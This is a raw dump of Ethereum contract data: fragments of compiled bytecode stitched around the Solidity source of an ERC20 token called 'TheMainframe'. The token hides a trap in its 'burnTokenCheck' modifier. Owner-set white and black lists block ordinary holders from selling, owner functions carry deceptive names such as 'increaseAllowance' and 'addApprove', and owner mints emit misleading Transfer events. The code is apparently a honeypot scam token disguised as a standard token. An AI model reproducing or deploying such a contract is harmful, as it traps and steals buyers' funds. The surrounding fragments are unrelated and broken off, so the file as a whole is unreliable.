05484939283019190610f4290612d2f565b610f4d92919061231e565b506002820181600201908054610f6290612d2f565b610f6d92919061231e565b506003820181600301908054610f8290612d2f565b610f8d92919061231e565b5060048281015490820155600591820154910180546001600160a01b0319166001600160a01b039092169190911790555050505050565b6000908152600960205260409020546001600160a01b031690565b60068054610fec90612d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461101890612d2f565b80156110655780601f1061103a57610100808354040283529160200191611065565b820191906000526020600020905b81548152906001019060200180831161104857829003601f168201915b505050505081565b6000546001600160a01b031633146110975760405162461bcd60e51b815260040161073690612a46565b60006110a560035486611e8e565b90506004548111156110f55760405162461bcd60e51b815260206004820152601960248201527843414e5f4e4f545f4558434545445f4d41585f535550504c5960381b6044820152606401610736565b600355600d92909255600e55600f5550565b60006001600160a01b0382166111725760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610736565b506001600160a01b03166000908152600a602052604090205490565b6000546001600160a01b031633146111b85760405162461bcd60e51b815260040161073690612a46565b6111c26000611ea1565b565b600260205260009081526040902080546001820180549192916111e690612d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461121290612d2f565b801561125f5780601f106112345761010080835404028352916020019161125f565b820191906000526020600020905b81548152906001019060200180831161124257829003601f168201915b50505050509080600201805461127490612d2f565b80601f01602080910402602001604051908101604052809291908181526020018280546112a090612d2f565b80156112ed5780601f106112c2576101008083540402835291602001916112ed565b820191906000526020600020905b8154815290600101906020018083116112d057829003601f168201915b50505050509080600301805461130290612d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461132e90612d2f565b801561137b5780601f106113505761010080835404028352916020019161137b565b820191906000526020600020905b81548152906001019060200180831161135e57829003601f168201915b5050505060048301546005909301549192916001600160a01b0316905086565b6000818152600260209081526040808320815160c08101909252805482526001810180548594840191906113ce90612d2f565b80601f01602080910402602001604051908101604052809291908181526020018280546113fa90612d2f565b80156114475780601f1061141c57610100808354040283529160200191611447565b820191906000526020600020905b81548152906001019060200180831161142a57829003601f168201915b5050505050815260200160028201805461146090612d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461148c90612d2f565b80156114d95780601f106114ae576101008083540402835291602001916114d9565b820191906000526020600020905b8154815290600101906020018083116114bc57829003601f168201915b505050505081526020016003820180546114f290612d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461151e90612d2f565b801561156b5780601f106115405761010080835404028352916020019161156b565b820191906000526020600020905b81548152906001019060200180831161154e57829003601f168201915b5050509183525050600482015460208201526005909101546001600160a01b0316604090910152608001519392505050565b60606008805461083590612d2f565b6001600160a01b0382163314156116055760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610736565b336000818152600c602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61167b3383611c8b565b6116975760405162461bcd60e51b815260040161073690612a7b565b6116a384848484611ef1565b50505050565b60606000600680546116ba90612d2f565b9050116116d657604051806020016040528060008152506106df565b60066116e183611f24565b6040516020016116f29291906128fd565b60405160208183030381529060405292915050565b611713600f5482612022565b4210156117595760405162461bcd60e51b8152602060048201526014602482015273141d5c98da185cd957d39bdd17d15b98589b195960621b6044820152606401610736565b600e5461176e61176833611107565b84611e8e565b11156117b45760405162461bcd60e51b8152602060048201526015602482015274115e18d9595917d41d5c98da185cd957d31a5b5a5d605a1b6044820152606401610736565b60006117c283600d5461202e565b9050803410156118095760405162461bcd60e51b8152602060048201526012602482015271139bdd17d15b9bdd59da17d4185e5b595b9d60721b6044820152606401610736565b61181560055484611e8e565b60035410156118595760405162461bcd60e51b815260206004820152601060248201526f4e6f745f456e6f7567685f53746f636b60801b6044820152606401610736565b60005b838110156119b357611872600180546001019055565b600061187d60015490565b905061188b3382600161203a565b60006040518060c00160405280838152602001604051806020016040528060008152508152602001604051806020016040528060008152508152602001604051806020016040528060008152508152602001600181526020016118f66000546001600160a01b031690565b6001600160a01b03169052600083815260026020908152604090912082518155818301518051939450849391926119359260018501929091019061229a565b506040820151805161195191600284019160209091019061229a565b506060820151805161196d91600384019160209091019061229a565b506080820151600482015560a090910151600590910180546001600160a01b0319166001600160a01b03909216919091179055506119ac905081612d6a565b905061185c565b506119c060055484611e8e565b600555505050565b6000546001600160a01b031633146119f25760405162461bcd60e51b815260040161073690612a46565b6001600160a01b038116611a575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610736565b61069081611ea1565b600080611a6c83610fc4565b6001600160a01b0316141592915050565b826001600160a01b0316611a9082610fc4565b6001600160a01b031614611af85760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610736565b6001600160a01b038216611b5a5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610736565b611b65600082611c1d565b6001600160a01b0383166000908152600a60205260408120805460019290611b8e908490612cec565b90915550506001600160a01b0382166000908152600a60205260408120805460019290611bbc908490612ca1565b909155505060008181526009602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000818152600b6020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611c5282610fc4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611c9682611a60565b611cf75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610736565b6000611d0283610fc4565b9050806001600160a01b0316846001600160a01b03161480611d3d5750836001600160a01b0316611d32846108b8565b6001600160a01b0316145b80611d6d57506001600160a01b038082166000908152600c602090815260408083209388168352929052205460ff165b949350505050565b80471015611dc55760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610736565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611e12576040519150601f19603f3d011682016040523d82523d6000602084013e611e17565b606091505b5050905080610a515760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610736565b6000611e9a8284612ca1565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b611efc848484611a7d565b611f088484848461218d565b6116a35760405162461bcd60e51b8152600401610736906129f4565b606081611f485750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611f725780611f5c81612d6a565b9150611f6b9050600a83612cb9565b9150611f4c565b60008167ffffffffffffffff811115611f8d57611f8d612ddb565b6040519080825280601f01601f191660200182016040528015611fb7576020820181803683370190505b5090505b8415611d6d57611fcc600183612cec565b9150611fd9600a86612d85565b611fe4906030612ca1565b60f81b818381518110611ff957611ff9612dc5565b60200101906001600160f81b031916908160001a90535061201b600a86612cb9565b9450611fbb565b6000611e9a8284612cec565b6000611e9a8284612ccd565b6001600160a01b0383166120905760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610736565b6000828152600960205260409020546001600160a01b0316156120f55760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610736565b6001600160a01b0383166000908152600a6020526040812080546001929061211e908490612ca1565b9091555050600082815260096020526040902080546001600160a01b0319166001600160a01b0385161790558015610a515760405182906001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4505050565b60006001600160a01b0384163b1561228f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906121d19033908990889088906004016129a4565b602060405180830381600087803b1580156121eb57600080fd5b505af192505050801561221b575060408051601f3d908101601f1916820190925261221891810190612644565b60015b612275573d808015612249576040519150601f19603f3d011682016040523d82523d6000602084013e61224e565b606091505b50805161226d5760405162461bcd60e51b8152600401610736906129f4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611d6d565b506001949350505050565b8280546122a690612d2f565b90600052602060002090601f0160209004810192826122c8576000855561230e565b82601f106122e157805160ff191683800117855561230e565b8280016001018555821561230e579182015b8281111561230e5782518255916020019190600101906122f3565b5061231a929150612399565b5090565b82805461232a90612d2f565b90600052602060002090601f01602090048101928261234c576000855561230e565b82601f1061235d578054855561230e565b8280016001018555821561230e57600052602060002091601f016020900482015b8281111561230e57825482559160010191906001019061237e565b5b8082111561231a576000815560010161239a565b600067ffffffffffffffff8311156123c8576123c8612ddb565b6123db601f8401601f1916602001612c4c565b90508281528383830111156123ef57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461241d57600080fd5b919050565b600082601f83011261243357600080fd5b8135602061244861244383612c7d565b612c4c565b80838252828201915082860187848660051b890101111561246857600080fd5b60005b8581101561248e5761247c82612406565b8452928401929084019060010161246b565b5090979650505050505050565b600082601f8301126124ac57600080fd5b611e9a838335602085016123ae565b6000602082840312156124cd57600080fd5b611e9a82612406565b600080604083850312156124e957600080fd5b6124f283612406565b915061250060208401612406565b90509250929050565b60008060006060848603121561251e57600080fd5b61252784612406565b925061253560208501612406565b9150604084013590509250925092565b6000806000806080858703121561255b57600080fd5b61256485612406565b935061257260208601612406565b925060408501359150606085013567ffffffffffffffff81111561259557600080fd5b8501601f810187136125a657600080fd5b6125b5878235602084016123ae565b91505092959194509250565b600080604083850312156125d457600080fd5b6125dd83612406565b9150602083013580151581146125f257600080fd5b809150509250929050565b6000806040838503121561261057600080fd5b61261983612406565b946020939093013593505050565b60006020828403121561263957600080fd5b8135611e9a81612df1565b60006020828403121561265657600080fd5b8151611e9a81612df1565b60006020828403121561267357600080fd5b813567ffffffffffffffff81111561268a57600080fd5b611d6d8482850161249b565b600080604083850312156126a957600080fd5b823567ffffffffffffffff808211156126c157600080fd5b6126cd8683870161249b565b935060208501359150808211156126e357600080fd5b506126f08582860161249b565b9150509250929050565b60006020828403121561270c57600080fd5b5035919050565b6000806000806080858703121561272957600080fd5b84359350602061273a818701612406565b9350604086013567ffffffffffffffff8082111561275757600080fd5b818801915088601f83011261276b57600080fd5b813561277961244382612c7d565b8082825285820191508585018c878560051b880101111561279957600080fd5b600095505b838610156127bc57803583526001959095019491860191860161279e565b509650505060608801359250808311156127d557600080fd5b50506125b587828801612422565b600080600080608085870312156127f957600080fd5b84359350602085013567ffffffffffffffff8082111561281857600080fd5b6128248883890161249b565b9450604087013591508082111561283a57600080fd5b506128478782880161249b565b92505061285660608601612406565b905092959194509250565b6000806040838503121561287457600080fd5b50508035926020909101359150565b6000806000806080858703121561289957600080fd5b5050823594602084013594506040840135936060013592509050565b600081518084526128cd816020860160208601612d03565b601f01601f19169290920160200192915050565b600081516128f3818560208601612d03565b9290920192915050565b600080845481600182811c91508083168061291957607f831692505b602080841082141561293957634e487b7160e01b86526022600452602486fd5b81801561294d576001811461295e5761298b565b60ff1986168952848901965061298b565b60008b81526020902060005b868110156129835781548b82015290850190830161296a565b505084890196505b50505050505061299b81856128e1565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906129d7908301846128b5565b9695505050505050565b602081526000611e9a60208301846128b5565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208152815160208201526000602083015160c06040840152612af260e08401826128b5565b90506040840151601f1980858403016060860152612b1083836128b5565b9250606086015191508085840301608086015250612b2e82826128b5565b608086015160a086810191909152909501516001600160a01b031660c090940193909352509192915050565b6000606082018583526020606081850152818651808452608086019150828801935060005b81811015612b9b57845183529383019391830191600101612b7f565b50508481036040860152855180825290820192508186019060005b81811015612bdb5782516001600160a01b031685529383019391830191600101612bb6565b509298975050505050505050565b86815260c060208201526000612c0260c08301886128b5565b8281036040840152612c1481886128b5565b90508281036060840152612c2881876128b5565b608084019590955250506001600160a01b039190911660a090910152949350505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715612c7557612c75612ddb565b604052919050565b600067ffffffffffffffff821115612c9757612c97612ddb565b5060051b60200190565b60008219821115612cb457612cb4612d99565b500190565b600082612cc857612cc8612daf565b500490565b6000816000190483118215151615612ce757612ce7612d99565b500290565b600082821015612cfe57612cfe612d99565b500390565b60005b83811015612d1e578181015183820152602001612d06565b838111156116a35750506000910152565b600181811c90821680612d4357607f821691505b60208210811415612d6457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612d7e57612d7e612d99565b5060010190565b600082612d9457612d94612daf565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461069057600080fdfea264697066735822122037849941f11cf010dbd726955b91c0176b322aaf770e756cd6e82f80aa11ead864736f6c63430008070033
[ 7, 5 ]
0xf2d04eb59795e3e6ede21aac43e47c5425e3554a
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TheMainframe is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffff